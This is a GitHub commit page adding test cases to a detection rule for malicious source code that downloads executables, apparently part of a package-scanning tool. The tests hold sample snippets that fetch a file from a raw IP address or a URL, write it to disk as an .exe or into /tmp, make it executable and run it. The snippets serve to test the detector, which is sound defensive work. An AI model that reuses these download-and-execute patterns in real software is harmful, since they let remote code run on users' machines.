Skip to content

Commit

Permalink
Download-executable - Add the corresponding tests
Browse files Browse the repository at this point in the history
  • Loading branch information
romain-dd committed Mar 31, 2023
1 parent 47d52e6 commit bc1ade7
Showing 1 changed file with 24 additions and 0 deletions.
24 changes: 24 additions & 0 deletions tests/analyzer/sourcecode/download-executable.py
Original file line number Diff line number Diff line change
Expand Up @@ -47,3 +47,27 @@
colmar.write(narcohypnosis)
os.chmod("/tmp/reloan", 777)
subprocess.call("/tmp/reloan")

""" RULEID: Detect requests
"""
url = 'http://35.235.126.33/executable.exe'
req = requests.get(url)
# ruleid: download-executable
with open(executable, 'wb') as f:
f.write(req.content)
if 'linux' in operating_system or 'darwin' in operating_system:
os.system(f'chmod +x {executable}')


""" RULEID: Simple download + file creation
"""
response = requests.get(URL)
# ruleid: download-executable
open("exo.exe", "wb").write(response.content)

response = requests.get(URL)
# ruleid: download-executable
fle = open("exo.exe", "wb")
fle.write(response.content)


0 comments on commit bc1ade7

Please sign in to comment.